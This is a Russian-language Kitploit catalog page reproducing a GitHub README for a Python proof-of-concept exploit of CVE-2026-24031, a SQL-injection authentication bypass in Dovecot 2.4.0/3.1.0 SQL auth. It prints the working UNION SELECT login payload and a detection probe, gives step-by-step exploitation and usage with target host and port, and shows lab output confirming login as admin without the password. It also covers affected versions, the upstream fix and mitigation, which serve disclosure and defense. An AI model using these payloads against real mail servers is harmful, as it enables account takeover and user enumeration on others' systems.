Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-24031 — Автономный Python PoC для обхода SQL-аутентификации Dovecot: выполняет вход как любой пользователь без реального пароля и перечисляет имена пользователей на уязвимых IMAP/POP3-серверах версий 2.4.0/3.1.0. | Kitploit
Инструменты/GitHubGitHub/aramosf/cve-2026-24031
Аутентификация и авторизацияАнализ уязвимостейЭксплуатацияСбор информацииТестирование на ПроникновениеБезопасность Электронной ПочтыБезопасность Баз Данных
GitHubaramosf/cve-2026-24031

CVE-2026-24031

Автономный Python PoC для обхода SQL-аутентификации Dovecot: выполняет вход как любой пользователь без реального пароля и перечисляет имена пользователей на уязвимых IMAP/POP3-серверах версий 2.4.0/3.1.0.

Репозиторий
217 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-24031: Обход SQL-аутентификации Dovecot (обход аутентификации + перечисление пользователей)

CVE-2026-24031 живой эксплойт

Этот репозиторий содержит эксплойт для обхода аутентификации (proof-of-concept) для CVE-2026-24031 — SQL-инъекции в SQL-аутентификации Dovecot, появившейся в результате регрессии в Dovecot 2.4.0 / 3.1.0. В протестированной Docker-лаборатории (Dovecot 2.4.0 + PostgreSQL) PoC входит в систему как любой пользователь, не зная его настоящего пароля, а также может перечислять пользователей.

Предупреждение

Этот PoC выполняет неаутентифицированный обход аутентификации на почтовом сервере. Используйте его только против лаборатории, которой вы владеете, или против целей, которые вам явно разрешено тестировать. Он не изменяет состояние сервера, но задействует аутентификацию и может оставить в журналах записи о неудачных входах.

Сводка по уязвимости

SQL-аутентификация Dovecot уязвима, когда администратор очищает директиву конфигурации auth_username_chars (устанавливает пустое значение). auth_username_chars обычно действует как входной фильтр, ограничивающий, какие символы разрешены в имени пользователя до того, как имя пользователя подставляется в SQL-запрос passdb.

При пустом значении auth_username_chars = значение передаётся в запрос без sql_escape_string(). Сконструированное имя пользователя, содержащее SQL метасимволы, таким образом становится частью запроса:

root@kitploit:~
SELECT username AS user, password FROM users
WHERE username = '%{user}' AND active = TRUE

Следующая полезная нагрузка заставляет запрос вернуть строку для VICTIM с паролем, выбранным атакующим:

root@kitploit:~
' UNION SELECT 'VICTIM','{PLAIN}12345' -- 

{PLAIN} обрабатывается Dovecot (а не базой данных), поэтому схема пароля обрабатывается нативно, и трюк работает на pgsql, mysql, mariadb и sqlite. Отправка 12345 в качестве пароля затем приводит к совпадению, давая LOGIN OK как VICTIM, без знания настоящего пароля.

Результирующий запрос:

root@kitploit:~
SELECT username AS user, password FROM users
WHERE username = '' UNION SELECT 'VICTIM','{PLAIN}12345' -- ' AND active = TRUE

Затронутые и исправленные версии

Это регрессия, появившаяся в Dovecot 2.4.0 и присутствующая также в 3.1.0. Более ранние выпуски 2.2.x / 2.3.x экранируют имя пользователя и не уязвимы. Ошибка исправлена в 2.4.3 и 3.1.4 (OXDC-ADV-2026-0001, DOV-8781).

Уязвимость применима только когда все следующие условия соблюдены:

  • Dovecot 2.4.0 или 3.1.0;
  • SQL passdb (driver = sql) с использованием pgsql, mysql, mariadb или sqlite;
  • auth_username_chars = (пустое) — условие срабатывания, заданное администратором;
  • сетевая доступность сервиса IMAP / POP3 / ManageSieve (с TLS или без).

PoC был проверен на Dovecot 2.4.0 (официальный тег релиза, daeb6bc5) + PostgreSQL.

Процесс эксплуатации

1. Обнаружение условия отсутствия экранирования

Выполните аутентификацию с именем пользователя ' OR '1'='1' -- и произвольным паролем. На уязвимом сервере запрос изменяется, поэтому Dovecot возвращает a1 NO [UNAVAILABLE] Temporary authentication failure. вместо классического AUTHENTICATIONFAILED. Это признак того, что имя пользователя достигло SQL-запроса без экранирования.

2. Обход аутентификации с помощью UNION SELECT

Выполните аутентификацию с именем пользователя:

root@kitploit:~
' UNION SELECT 'VICTIM','{PLAIN}12345' -- 

и паролем 12345. Строка UNION переопределяет столбец password для VICTIM, а {PLAIN} обрабатывается Dovecot, поэтому проверка пароля завершается успешно.

3. Перечисление пользователей

Поскольку форма результата запроса различается для случаев «пользователь существует» и «пользователь не существует» (количество строк и статус ответа), сервер раскрывает, существует ли имя пользователя. Это работает против всех затронутых бэкендов.

Сборка и запуск PoC

PoC — это автономный скрипт на Python 3 (только стандартная библиотека). Запустите уязвимую лабораторию и выполните эксплойт:

root@kitploit:~
./run.sh

run.sh собирает и запускает Docker-лабораторию (lab/docker-compose.yml), ожидает IMAPS на 127.0.0.1:14193, а затем запускает PoC. Лаборатория собирает Dovecot 2.4.0 из официального релизного tarball с намеренно уязвимой конфигурацией и базой данных PostgreSQL.

Эквивалентные ручные шаги:

root@kitploit:~
docker compose -f lab/docker-compose.yml up -d --build
python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap

Параметры PoC:

root@kitploit:~
python3 cve-2026-24031-poc.py <HOST> [PORT] [DELAY] [PROTO]

  HOST       IP or hostname (required)
  PORT       993 = IMAPS/TLS (default), 143 = IMAP, 995 = POP3S, 110 = POP3
  DELAY      seconds between attempts (default 0.5)
  PROTO      imap (default) | pop3

Optional environment variables:
  CVE24031_USER   username to impersonate (default: admin)
  CVE24031_PASS   password chosen for the UNION row (default: 12345)

База данных лаборатории содержит следующих пользователей: admin/admin123, alice/alicepass, bob/bobpass, postmaster/postpass и victim/supersecret. PoC выдаёт себя за admin, не зная его пароля.

Воспроизведённые результаты

PoC был проверен полностью в Docker-лаборатории. Реальный пароль пользователя admin — admin123; PoC входит в систему как admin, используя 12345.

root@kitploit:~
$ python3 cve-2026-24031-poc.py 127.0.0.1 14193 0.3 imap
[*] Target  : 127.0.0.1:14193 (imap, plain)
[*] Victim  : admin   imposed password: 12345
[*] TARGET CONFIG: Dovecot 2.4.0/3.1.0 + driver=sql + auth_username_chars EMPTY

=== PHASE 1: UNION SELECT (login as victim without real password) ===
    [UN ] user="' UNION SELECT 'admin','{PLAIN}12345' -- "  pwd='12345' -> OK

============================================================
[!] >>>>>> BYPASS CONFIRMED <<<<<<
[!]     Logged in as 'admin' without knowing the real password.
[!]     CVE-2026-24031 exploited.

Полная очищенная запись, включая контрольные проверки и шаги обнаружения отсутствия экранирования, находится в docs/example-output.txt.

Демонстрация

Анимированная демонстрация в начале этого README (assets/CVE-2026-24031.gif) была записана в реальной сессии против запущенной лаборатории. Пересоберите её с помощью:

root@kitploit:~
# with the lab up (docker compose -f lab/docker-compose.yml up -d)
asciinema rec --cols 120 --rows 34 -c "bash demo.sh" demo.cast
agg --font-size 16 --fps-cap 30 --speed 1.2 --theme nord \
  --cols 120 --rows 34 demo.cast assets/CVE-2026-24031.gif

demo.sh управляет живой демонстрацией; demo.cast — это исходная запись asciinema, используемая для создания GIF.

Исправление

Рекомендация (OXDC-ADV-2026-0001, DOV-8781) уже выпущена в апстриме; Dovecot 2.4.3 / 3.1.4 экранирует имя пользователя перед его подстановкой в SQL-запрос. Поэтому исправление не дублируется в этом репозитории. Рекомендуемая мера защиты — никогда не очищать auth_username_chars или обновить систему до исправленной версии.

Ссылки

  • Официальная запись CVE (CVEProject cvelistV5)
  • Запись на cve.org
  • Уведомление о безопасности Dovecot OXDC-2026-0001 (dovecot.org)
  • Релизный tarball Dovecot 2.4.0

Обнаружение уязвимости: whisperer@yeswehack. Исследование и реализация эксплойта: A. Ramos <[email protected]> (Twitter: @aramosf).

О проекте

CVE-2026-24031 PoC — обход SQL-аутентификации Dovecot (обход аутентификации + перечисление пользователей)

Скачать инструмент
ВерсияСтатус
Dovecot 2.2.xНе затронут (имя пользователя экранируется)
Dovecot 2.3.xНе затронут (имя пользователя экранируется)
Dovecot 2.4.0Уязвим (регрессия: имя пользователя не экранируется)
Dovecot 2.4.3+Исправлено (имя пользователя экранируется)
Dovecot 3.1.0Уязвим (та же регрессия)
Dovecot 3.1.4+Исправлено (имя пользователя экранируется)